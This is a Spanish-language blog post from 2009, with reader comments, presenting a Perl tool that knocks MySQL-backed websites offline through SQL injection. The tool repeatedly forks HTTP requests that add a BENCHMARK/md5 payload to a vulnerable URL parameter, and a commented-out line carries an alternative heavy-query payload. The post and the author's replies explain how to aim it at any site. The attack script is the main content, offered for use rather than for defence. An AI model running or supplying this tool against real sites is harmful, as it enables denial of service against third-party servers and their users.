lunes, 7 de septiembre de 2009

DoS por SQLi

Resulta que apartir de una inyeccion en SQL , se pueden hacer tantas cosas que es algo que en el area de hacking siempre estan saliendo nuevas tecnicas y nuevas tools. Hoy decidi hacer un POST un poco avanzado para aquellos que no tengan idea de SQLi. Lo que vamos hacer es hacer un DoS al motor de SQL que en este caso el script que escribi para que realize la accion es para atacar un MYSQL.
Lo que hacemos es atacar de forma parecida al que se realiza en Time-Based Blind SQL. Pero en este caso forzamos al motor a realizar un delay constantemente.
Aqui esta el script hecho en perl

  1. · #!/usr/bin/perl
  2. · use IO::Socket;
  3. · if (!@ARGV[2]){
  4. · print "======================================================= \n";
  5. · print " Denial of Service MySQL injection V 1.0by MagnoBalt \n\n";
  6. · print " use perl $0 www.pagina.com.ar /noticia.php?id=45\n\n";
  7. · print "======================================================= \n";
  8. · exit(0);
  9. · }
  10. ·
  11. · $host=$ARGV[0];
  12. · $path=$ARGV[1];
  13. · #$injeccion="+and+(select+count(*)+from+information_schema.columns, +information_schema.columns+T1,

+information_schema.tables+T2)" ;

  1. · $injeccion="+and benchmark(99999999999999,md5(0x6b616f78))";
  2. · for($i = 1; $i < $ARGV[2] ; $i++) {
  3. · $pid = fork();
  4. · $socket = new IO::Socket::INET(
  5. · PeerAddr => $host,
  6. · PeerPort => 'http(80)',
  7. · Proto => 'tcp') || die "[-] No se ha podido conectar a $host";
  8. · print $socket "GET " .$path.$injeccion. " HTTP/1.0\r\n";
  9. · print $socket "HOST:$host\r\n";
  10. · print $socket "\n\n";
  11. · print "*";
  12. · }


nota: La linea 13 esta comentada, si quieren provocar el delay con la tecnica "Blind Heavy Query" descomentenla y comenten la linea 14 que es usando la funcion Benchmark.

Dejo el link de otro mismo script pero hecho en php por OzX . Link


Saludos.

4 comentarios:

  1. Hola Caeruleus, lo que te pase aqui, que es donde me lo pusiste

    http://pastebin.lugmen.org.ar/5604

    Es Normal si te fijaras en el codigo que el script pide 3 parametros, uno es el host, otra es el path y otro es la cota superior del for ARGV[3]. xD. Y tu solo estas pasando uno tienes que separar el host con la path.
    Pruebalo asi

    perl magno.pl http://www.xxxxxxx.cl /noticias.php?id=7 80

    Gracias espero que si alguien tiene el problema similar le sea util este problema..

    Saludos

    ResponderEliminar
  2. xD, si me di cuenta de eso jaja. Por eso en el pastebin que te pase, está de las dos formas que probe. Primero separando la url del path, y segundo todo junto

    ResponderEliminar
  3. Ah, ya sé que bolu, también hay que pasar el puerto cierto? Eso era lo q m faltaba :P.

    Igualmente me dice q no se puede conectar jaja

    ResponderEliminar
  4. Hola Caeruleus, no el puerto no es, el 80 es la cantidad de ciclos q tendra la inyeccion sumnado la funcion fork. Aconsejo no poner un numero muy grande por ejemplo 400. por que consumira toda la memoria local.. Avisame o agregame al msn a mi correo. magnobalt@gmail.com. ahora ando medio perdido por las vacaas.. Un saludo..

    ResponderEliminar